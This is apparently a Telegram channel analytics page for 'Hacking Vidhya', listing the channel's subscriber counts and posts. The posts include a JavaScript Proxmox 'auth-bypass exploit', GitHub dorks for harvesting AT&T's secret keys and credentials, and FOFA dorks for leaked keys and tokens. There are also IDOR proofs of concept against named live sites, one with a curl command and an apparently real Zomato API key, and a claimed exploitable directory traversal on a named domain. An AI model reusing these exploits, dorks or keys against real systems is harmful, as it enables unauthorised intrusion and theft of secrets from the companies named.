Hacking Vidhya
前往频道在 Telegram
We Talk about : Hacking , CTFs , Pentesting , Red & Blue Team etc. Not Allowed: Selling, Carding, Cracking Crypto.
显示更多383
订阅者
无数据24 小时
+37 天
+2230 天
数据加载中...
吸引订阅者
九月 '26
九月 '26
+7
在2个频道中
八月 '26
+26
在3个频道中
Get PRO
七月 '26
+25
在2个频道中
Get PRO
六月 '26
+11
在0个频道中
Get PRO
五月 '26
+30
在2个频道中
Get PRO
四月 '26
+20
在2个频道中
Get PRO
三月 '26
+18
在2个频道中
Get PRO
二月 '26
+6
在1个频道中
Get PRO
一月 '26
+23
在1个频道中
Get PRO
十二月 '25
+26
在0个频道中
Get PRO
十一月 '25
+276
在3个频道中
Get PRO
十月 '250
在3个频道中
Get PRO
九月 '250
在2个频道中
Get PRO
八月 '25
+1
在2个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 13 九月 | 0 | |||
| 12 九月 | 0 | |||
| 11 九月 | 0 | |||
| 10 九月 | 0 | |||
| 09 九月 | +1 | |||
| 08 九月 | 0 | |||
| 07 九月 | +1 | |||
| 06 九月 | +2 | |||
| 05 九月 | 0 | |||
| 04 九月 | +1 | |||
| 03 九月 | 0 | |||
| 02 九月 | 0 | |||
| 01 九月 | +2 |
频道帖子
+2🔥 The PS5 jailbreak scene is ON FIRE!
New jailbreak coming for PS5 firmware 13.60 and lower, which could mean support for newer games! 🔥
Which could eliminate the 50-minute P2JB waiting period!
👀 FPKG coming soon for firmware up to 11.40!
The PS5 scene is moving FAST!
#PS5
https://www.mediafire.com/file/5ag8q73qoirbsw3/fpkg-gui.zip/file
Source: https://www.reddit.com/r/PS5_Jailbreak/comments/1wav8h9/fpkggui_released_by_drakmor/?rdt=52799
| 2 | https://youtu.be/EXCWE5QpSdE?si=OcUi6h1WsyV070xt | 57 |
| 3 | https://t.me/+mORANS61eHwwZGVl | 65 |
| 4 | private_bugbounty_programs.csv | 32 |
| 5 | org:att
org:att AND "att.com"
org:att AND "att.com" path:*.json
org:att AND "att.com" path:*.yaml
org:att "sk_live_"
org:att "pk_live_"
org:att AWS_ACCESS_SECRET_KEY
org:att "sk-" "openai"
org:att filename:/ .env
org:att path:/ Dockerfile
org:att path:**/settings.py
org:"att" ("jwt_secret" OR "JWT_SECRET") | 83 |
| 6 |  Proxmox VE
*
PVE 7.4 auth-bypass exploit
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})(); | 77 |
| 7 | CORS Misconfiguration On FacebookLeads to Non-Sensitive Exposure
https://about.fb.com/wp-json | 100 |
| 8 | https://t.me/Hacking_Vidhya?livestream=7b85b30e3ff8305e53 | 99 |
| 9 | https://www.youtube.com/watch?v=nGggVgF4DdE | 102 |
| 10 | Site: tring.co.in
Bug: IDOR( Insecure Direct Object Refrence)
Severity: high
Poc: https://www.tring.co.in/order/track-booking?booking-id=Special_Pay_596522
Note: change the numeric value like 596523 to 596422 or any vale
#bugBounty, #ASR827 | 99 |
| 11 |  +1Not only ChatGPT. 😭 | 113 |
| 12 | https://youtu.be/kSXdtxwVl0c | 226 |
| 13 |  You can run Uncensored GLM-5.3 running in your Codex for bug hunting and pentesting use. | 105 |
| 14 | 💡Don't miss this Fofa Dorks
Here are some advanced FOFA dorks I use to uncover assets & exposures that others miss 👇
# ORG-WIDE / CERT PIVOTS
cert.subject="target.com" cert.subject="*.target.com"
cert.subject="target.com" && protocol="https" && port="443"
domain="target.com" cert.subject="target.com" header="target.com" # broad net
# DEV/STAGE/QA SURFACING (common env keywords)
domain="target.com" && (host="dev.*" host="stg.*" host="qa.*" host="test.*")
# DIRECTORY LISTING / BACKUPS
domain="target.com" && title="Index of /" && body="Parent Directory"
domain="target.com" && (title="Index of /backup" title="Index of /backups" title="Index of /old")
domain="target.com" && (title="Index of /.git" body=".git/HEAD")
domain="target.com" && (title="Index of /.svn" body="/.svn/entries")
# SECRETS/SPILLS IN TEXT/JS
domain="target.com" && header="Content-Type: application/javascript" && body="apiKey"
domain="target.com" && (body="AWS_ACCESS_KEY_ID" body="AKIA")
domain="target.com" && body="APP_KEY=" # Laravel .env spill
domain="target.com" && body="PRIVATE KEY-----" # PEM leaks
domain="target.com" && body="eyJhbGciOi" # JWT in responses
domain="target.com" && body="//# sourceMappingURL=" # JS source maps
# AUTH/SSO/OAUTH PIVOTS
domain="target.com" && (body="/oauth/authorize" body="OpenID Connect" body="/.well-known/openid-configuration")
# CORS MISCONFIG (weak but good lead list)
domain="target.com" && header="Access-Control-Allow-Origin: *" && header="Access-Control-Allow-Credentials: true"
# GRAPHQL / SWAGGER / API EXPLORERS
domain="target.com" && (title="GraphQL Playground" title="GraphiQL" body="graphql?query=")
domain="target.com" && (title="Swagger UI" body="swagger-ui" body="openapi")
# DEBUG / STACK TRACE FINGERPRINTS
domain="target.com" && (title="Whitelabel Error Page" body="There was an unexpected error (type=)")
domain="target.com" && body="Traceback (most recent call last)"
domain="target.com" && (body="PHP Notice:" body="PHP Warning:" body="phpinfo()")
# CLOUD/EDGE FINGERPRINTS (useful for SSRF/CDN bypass trails)
domain="target.com" && header="X-Amzn-Trace-Id"
domain="target.com" && header="X-Envoy-Upstream-Service-Time"
domain="target.com" && header="Server: nginx" && header="Via: varnish"
# ELASTIC / LOGGING / METRICS / CI
domain="target.com" && (title="Kibana" || header="kbn-name")
domain="target.com" && title="Grafana" && body="Sign in"
domain="target.com" && title="Prometheus Time Series Collection and Processing Server"
domain="target.com" && title="Jenkins" && body="Login"
domain="target.com" && title="SonarQube" | 121 |
| 15 | IDOR in Zomato API – Any user with an API key can enumerate restaurant IDs and retrieve complete details, including address, phone numbers, coordinates, menu images, and reviews.
Description
The API endpoint:
https://api.zomato.com/v1/restaurant.json/{restaurant_id}?apikey={api_key}
is vulnerable to IDOR because the restaurant_id parameter is not properly protected. By modifying the ID, an attacker can retrieve details of any restaurant without authorization.
Impact
* Exposes sensitive data (addresses, phone numbers, GPS coordinates).
* Allows for mass data scraping (IDs are sequential and predictable).
* Could be abused for spam, phishing, or competitor data collection.
* Poses privacy and compliance risks (GDPR, local laws).
Steps to Reproduce
1. Obtain a valid API key (even a free tier key).
2. Send a request to the following API endpoint:
GET https://api.zomato.com/v1/restaurant.json/356?apikey=c0888f94600cc0c9d5b36f6eea167236
3. Examine the response – it will contain the full details of the restaurant.
4. Change the ID to 1, 2, 1000, 99999:
GET https://api.zomato.com/v1/restaurant.json/1?apikey=c0888f94600cc0c9d5b36f6eea167236
5. You can enumerate IDs from 1 to 100,000 (or more).
Proof of Concept
Request:
curl -X GET "https://api.zomato.com/v1/restaurant.json/356?apikey=c0888f94600cc0c9d5b36f6eea167236"
Response Snippet:
`{
"id": 356,
"name": "New Kadimi",
"location": {
"address": "Satyam Cineplex, District Centre, Janakpuri, New Delhi",
"latitude": "28.6300830000",
"longitude": "77.0799200000"
},
"phone": "011 41587171, 011 41587272, +91 9212124936"
}
`
What an Attacker Can Do
* Scrape details of all restaurants, including phone numbers, addresses, and menus.
* Create fake competitor applications.
* Spam or call restaurants.
* Cause a privacy breach.
Severity
High – Data exposure and mass enumeration are possible.
Fix Recommendation
* Validate user permissions for the restaurant_id.
* Stop exposing unnecessary sensitive fields.
* Implement rate limiting.
* Use randomized IDs or tokens. | 119 |
| 16 | 🚨 HACKING VIDHYA PRIVATE COMMUNITY IS HERE! 🚨
Want to learn Web Application Pentesting properly with complete resources, guidance, private methodologies, and community support? 🔥
Join our exclusive Private Telegram Community and get access to:
🔐Complete Web Application Pentesting Resources
🔖 Structured Courses & Learning Roadmaps
🤖 AI-Powered Pentesting Techniques
💰 Guidance on how to start earning in your starting phase
Mobile Application Pentesting & Security
🎯Advanced & Private Methodologies
💼 Cybersecurity Job & Career Guidance
🤝 Direct Community Support
👾 Some content will be available in recorded video format, while selected topics and practical discussions will be conducted through LIVE VC Sessions.
🔥 This isn't just another course — it's a private community designed to help you learn practical cybersecurity skills, grow your knowledge, and build your career.
💰Entry Price: ₹3,000 per person
⚠️ LIMITED SEATS — Once the seats are filled, registrations will be closed!
👇 DON'T WAIT UNTIL IT'S TOO LATE!
✉️ DM @sttexo
RIGHT NOW to secure your seat.
🚀 SERIOUS LEARNERS ONLY!
🔥 Learn • Practice • Grow • Build Your Career 🔥
— Hacking Vidhya
::✍️ | 327 |
| 17 |  https://youtu.be/wukEpTBka3Q | 142 |
| 18 | https://t.me/boost?c=2661703976 | 168 |
| 19 |  没有文字... | 184 |
| 20 | DIRECTORY TRANSERVAL LEADS TO LEAKAGE OF CONFIGURATION FILES
Site: http://www.kaalk.com/etc/
State: Exploitable
Severity: Critical | 308 |
